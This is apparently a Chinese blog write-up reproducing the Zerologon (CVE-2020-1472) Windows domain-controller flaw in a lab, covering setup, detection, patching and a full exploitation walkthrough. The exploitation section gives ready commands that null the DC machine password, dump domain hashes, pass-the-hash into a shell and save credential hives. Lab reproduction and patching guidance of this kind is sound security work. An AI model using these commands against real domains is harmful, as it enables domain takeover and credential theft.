![](https://i-blog.csdnimg.cn/blog_migrate/8035b53f380f563bc27ff484c7898d0e.png)
NetLogon特权提升漏洞(CVE-2020-1472)复现
漏洞描述
2020年08月12日,Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重,漏洞评分:10分。CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。
漏洞成因
Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞顺利被利用。
具体漏洞成因参考
英文原文:https://www.secura.com/pathtoimg.php?id=2055
中文翻译:http://suo.im/5GjJFF
影响范围
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
环境搭建
测试域控环境搭建
服务器环境搭建
版本:在影响范围内的任意windows server版本
本次复现使用服务器版本:Windows server 2008 r2 standard
将本地连接中的ipv6属性取消掉,保留ipv4属性配置
将ip地址设为固定ip地址 192.168.43.1
子网掩码自动填充c类255.255.255.0
默认网关可填可不填 本例:192.168.43.13
设置首选dns服务器ip地址为本机ip地址192.168.43.1
安装域
在开始处搜索dcpromo
单击下一步
在新林中新建域,单击下一步
输入域名test.com,单击下一步
随后默认即可,下一步
设置密码
安装完毕后,重启即可
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-088pHWmT-1600334383461)(https://uploader.shimo.im/f/qa1segqFcdUHvg3t.png!thumbnail)]
客户端环境搭建
版本:任意windows系统
客户端同样需要配置网络
将客户端ip地址设置为和服务器地址同一网段即可 192.168.43.100
子网掩码自动获取为255.255.255.0
设置首选dns服务器ip地址为服务器ip地址192.168.43.1
设置Ethernet属性
设置域,此处的域和服务器的域相同
填入administrator和刚刚填写的密码
加入域后,重启电脑生效
注意:如果是两台虚拟机,都使用桥接模式,保证三台主机(服务器、客户端、攻击机)都在同一网段,并保证相互之间可以ping通,校园网环境下虚拟机桥接可能会失效连不上网,可以连接手机热点,组建局域网。
攻击机环境条件
Kali Linux
版本不限
python
攻击机上需要python3.7以上
impacket
命令安装:
pip install Impacket -i https://pypi.tuna.tsinghua.edu.cn/simple
#(-i 镜像加速)
github安装:
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。
impacket需要安装最新版(v0.0.22.dev1),该版本中更新了函数NetrServerPasswordSet2,这个函数会在利用中使用,impacket提供了利用脚本需要使用的库,同时其中包含的secretsdump.py/wmiexec.py脚本分别用于密钥的dump还原操作及开启一个shell,这里主要使用以下两个poc,其中利用置空脚本使用dirkjanm提供的(dirkjanm也提供了相关的置空还原脚本但是我没有成功),而恢复密钥则使用risksense提供的版本。
- Wmiexec.py
它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。
./wmiexec.py
语法:./wmiexec.py[[domain/] [: password]@] [Target IP Address]
关于Impacket更多内容参考:
http://www.manongjc.com/article/97872.html
https://www.freebuf.com/sectool/175208.html
- secretsdump.py:
执行各种技术从远程机器转储Secrets,而不在那里执行任何代理。对于SAM和LSA Secrets(包括缓存的凭据),然后将hives保存在目标系统(%SYSTEMROOT%\ Temp目录)中,并从中读取其余数据。对于DIT文件,我们使用dl_drsgetncchanges()方法转储NTLM哈希值、纯文本凭据(如果可用)和Kerberos密钥。它还可以通过使用smbexec/wmiexec方法执行的vssadmin来转储NTDS.dit.如果脚本不可用,脚本将启动其运行所需的服务(例如,远程注册表,即使它已被禁用)。运行完成后,将恢复到原始状态。
漏洞检测
(本次漏洞检测使用服务器windows server 2008 x64 r2 客户端win10 攻击机win10物理机、kali)
工具:https://github.com/SecuraBV/CVE-2020-1472
安装python依赖包
pip install -r requirements.txt
py -3 zerologon_tester.py 服务器计算机名 服务器ip
注意:计算机名并非用户名admin,而是下图指向的名称
Success说明此服务器处在次漏洞
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NoRtbddp-1600334383466)(https://uploader.shimo.im/f/wmB5msbGYE5pSgdj.png!thumbnail)]
漏洞利用
(本次漏洞利用使用服务器windows server 2008 x64 r2 客户端win10 攻击机kali2020)
poc地址:
https://github.com/dirkjanm/CVE-2020-1472
https://github.com/risksense/zerologon
https://github.com/blackarrowsec/redteam-research
大体分为这几步
- 通过漏洞脚本置空域控保存在AD中的密码
- 通过secretsdump.py获取域控上的用户hash
- 通过该hash使用wmiexec.py登录域控获取一个shell
- 通过shell获取本地保存的原hash key
- 通过获取的hash key恢复置空的域控密码
具体步骤:
1.首先第一步通过利用脚本将域控保存在AD的密码置空,注意该置空操作是对域控服务器有一定影响的,目前来看就是利用后重启回很慢,secura提到的dns服务受影响目前没有遇到。
python cve-2020-1472-exploit.py [服务器名] [服务器ip]
攻击成功,此时服务器ad的密码已经被置空,可以进行下一步操作
- 用secretsdump.py通过Domain Replication Service (DRS)协议获取域控上相关的hash,其包括administrator hashes。
python secretsdump.py [域]/[服务器名]\$@[服务器ip] -just-dc -no-pass
例如:python secretsdump.py test.com/WIN-QAOGC9V6G1R\$@192.168.43.1 -just-dc -no-pass
3.通过该hash配合wmiexec.py 完成一次pass-the-hash attack,登录该DC获取一个shell。
wmiexec.py -hashes [用户名对应哈希值] [域]/[用户名]@[服务器ip]
例如wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/Administrator@192.168.43.1
成功getshell
4.执行以下命令,以获取本地保存的原置空hash。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
5.通过secretsdump解析保存在本地的nt hash,为其中解析后的$MACHINE.ACC:plain_password_hex部分。
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
最后运行risksense的恢复脚本将$MACHINE.ACC:plain_password_hex中的原来nt hash恢复,可以看到此时再用secretsdump.py尝试获取域控上的用户hash已经是失败了。
注:一定要恢复原来的密码,不然会导致DC脱域!
漏洞修复
微软官方已经发布该漏洞的补丁,建议受影响用户升级到系统的最新版本或手动下载补丁进行更新。微软安全公告及相关补丁下载地址:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
参考文章
![](https://i-blog.csdnimg.cn/blog_migrate/d717a424deb896a4ca97a7f1f83da1f8.png)